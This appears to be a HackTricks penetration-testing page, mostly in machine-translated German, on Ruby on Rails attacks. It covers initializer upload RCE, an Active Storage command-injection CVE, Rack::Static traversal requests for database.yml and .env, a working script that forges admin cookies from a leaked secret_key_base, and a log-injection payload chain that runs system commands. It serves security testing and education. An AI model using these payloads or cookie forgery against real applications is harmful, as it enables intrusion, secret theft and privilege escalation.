Ruby Tricks

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Datei-Upload zu RCE

Wie in this article erklärt, kann das Hochladen einer .rb-Datei in sensible Verzeichnisse wie config/initializers/ zu remote code execution (RCE) in Ruby on Rails-Anwendungen führen.

Tipps:

  • Andere Boot-/eager-load-Standorte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie beschreibbar sind (z. B. ist config/initializers/ der klassische Fall). Wenn Sie einen beliebigen Datei-Upload finden, der irgendwo unter config/ landet und später evaluiert/required wird, können Sie beim Boot RCE erlangen.
  • Achten Sie auf dev-/staging-Builds, die nutzerkontrollierte Dateien in das Container-Image kopieren, wo Rails sie beim Start laden wird.

Active Storage image transformation → command execution (CVE-2025-24293)

Wenn eine Anwendung Active Storage mit image_processing + mini_magick verwendet und untrusted parameters an Image-Transformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection erlauben, weil einige Transformationsmethoden standardmäßig fälschlicherweise erlaubt waren.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • What to try during testing

  • Identifizieren Sie Endpunkte, die Variant/Processing-Optionen, Transformationsnamen oder beliebige ImageMagick-Argumente akzeptieren.

  • Fuzzen Sie params[:t] und params[:v] auf auffällige Fehler oder Ausführungsnebenwirkungen. Wenn Sie den Methodennamen beeinflussen können oder rohe Argumente an MiniMagick weiterreichen, können Sie auf dem Image-Processor-Host Code-Ausführung erzielen.

  • Wenn Sie nur Lesezugriff auf generierte Varianten haben, versuchen Sie blind exfiltration über speziell gestaltete ImageMagick-Operationen.

  • Remediation/detections

  • Wenn Sie Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mit Active Storage + image_processing + mini_magick und nutzerkontrollierten Transformationen sehen, gehen Sie davon aus, dass es ausnutzbar ist. Empfehlen Sie ein Upgrade und die Durchsetzung strikter allowlists für Methoden/Parameter sowie eine gehärtete ImageMagick-Policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Wenn der Ziel-Stack Rack-Middleware direkt oder über Frameworks verwendet, erlauben Versionen von rack vor 2.2.13, 3.0.14 und 3.1.12 Local File Inclusion via Rack::Static, wenn :root unset/misconfigured ist. Encodierte Traversals in PATH_INFO können Dateien unter dem Prozess-Arbeitsverzeichnis oder einem unerwarteten Root offenlegen.

  • Suchen Sie nach Apps, die Rack::Static in config.ru oder in Middleware-Stacks mounten. Versuchen Sie encodierte Traversals gegen statische Pfade, zum Beispiel:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Passen Sie das Prefix an, um mit den konfigurierten urls: übereinzustimmen. Wenn die App mit Dateiinhalt antwortet, haben Sie wahrscheinlich LFI auf alles unter dem aufgelösten :root.

  • Mitigation: Rack updaten; sicherstellen, dass :root nur auf ein Verzeichnis mit öffentlichen Dateien zeigt und explizit gesetzt ist.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails verschlüsselt und signiert Cookies mit Schlüsseln, die aus secret_key_base abgeleitet werden. If that value leaked (z. B. in einem Repo, Logs oder falsch konfigurierten Credentials), können Sie in der Regel Cookies entschlüsseln, ändern und wieder verschlüsseln. Das führt häufig zu einem authz bypass, wenn die App Rollen, User-IDs oder Feature-Flags in Cookies speichert.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Hinweise:

  • Ältere Apps können AES-256-CBC und die Salts encrypted cookie / signed encrypted cookie oder JSON/Marshal-Serializer verwenden. Passe Salts, Cipher und Serializer entsprechend an.
  • Bei Kompromittierung oder im Rahmen eines Assessments rotiere secret_key_base, um alle bestehenden Cookies ungültig zu machen.

Siehe auch (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Wenn eine App (häufig ein einfacher Rack/Sinatra/Rails-Endpoint) sowohl:

  • eine vom Benutzer kontrollierte Zeichenfolge unverändert protokolliert, und
  • und später eine Datei per load lädt, deren Pfad von derselben Zeichenkette abgeleitet ist (nach Pathname#cleanpath),

kann man oft Remote Code Execution erreichen, indem man das Log vergiftet und die App dazu bringt, die Log-Datei mit load zu laden. Wichtige Primitive:

  • Ruby load wertet den Inhalt der Ziel-Datei als Ruby aus, unabhängig von der Dateiendung. Jede lesbare Textdatei, deren Inhalt als Ruby geparst wird, wird ausgeführt.
  • Pathname#cleanpath reduziert . und .. Segmente, ohne das Dateisystem zu konsultieren, und ermöglicht path smuggling: vom Angreifer kontrollierter Junk kann zum Protokollieren vorne angefügt werden, während der bereinigte Pfad weiterhin auf die beabsichtigte Datei zur Ausführung zeigt (z. B. ../logs/error.log).

Minimales vulnerables Muster

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Warum das Log gültigen Ruby-Code enthalten kann

Logger schreibt Präfixzeilen wie:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby beginnt # einen Kommentar und 9/2/2025 ist nur Arithmetik. Um gültigen Ruby-Code zu injizieren, müssen Sie:

  • Beginnen Sie Ihre payload in einer neuen Zeile, damit sie nicht durch das # in der INFO-Zeile auskommentiert wird; senden Sie eine führende Newline (\n oder %0A).
  • Schließen Sie die offene [ (die durch die INFO-Zeile eingeführt wurde). Ein häufiger Trick ist, mit ] zu beginnen und optional den Parser mit ][0]=1 zufriedenzustellen.
  • Platzieren Sie dann beliebigen Ruby-Code (z. B. system(...)).

Beispiel dessen, was nach einer Anfrage mit einem manipulierten Parameter im Log landen wird:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Einen einzelnen String schmuggeln, der sowohl Code loggt als auch zum Log-Pfad auflöst

Wir wollen einen vom Angreifer kontrollierten String, der:

  • beim rohen Logging unseren Ruby payload enthält, und
  • beim Durchlauf durch Pathname.new(<input>).cleanpath zu ../logs/error.log aufgelöst wird, sodass das anschließende load die soeben vergiftete Logdatei ausführt.

Pathname#cleanpath ignoriert Schemas und entfernt Traversal-Komponenten, daher funktioniert Folgendes:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Das # vor :// sorgt dafür, dass Ruby den Rest ignoriert, wenn das Log ausgeführt wird, während cleanpath die Endung trotzdem auf ../logs/error.log reduziert.
  • Der führende Zeilenumbruch bricht aus der INFO-Zeile aus; ] schließt die hängende Klammer; ][0]=1 erfüllt die Anforderungen des Parsers.

End-to-end exploitation

  1. Sende Folgendes als Namen des Backup-Skripts (URL-kodiere den ersten Zeilenumbruch ggf. als %0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Die App protokolliert deinen rohen String in logs/error.log.
  2. Die App berechnet cleanpath, das sich zu ../logs/error.log auflöst, und ruft load darauf auf.
  3. Ruby führt den Code aus, den du ins Log injiziert hast.

Um eine Datei in einer CTF-ähnlichen Umgebung zu exfiltrieren:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (erstes Zeichen ist ein Zeilenumbruch):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks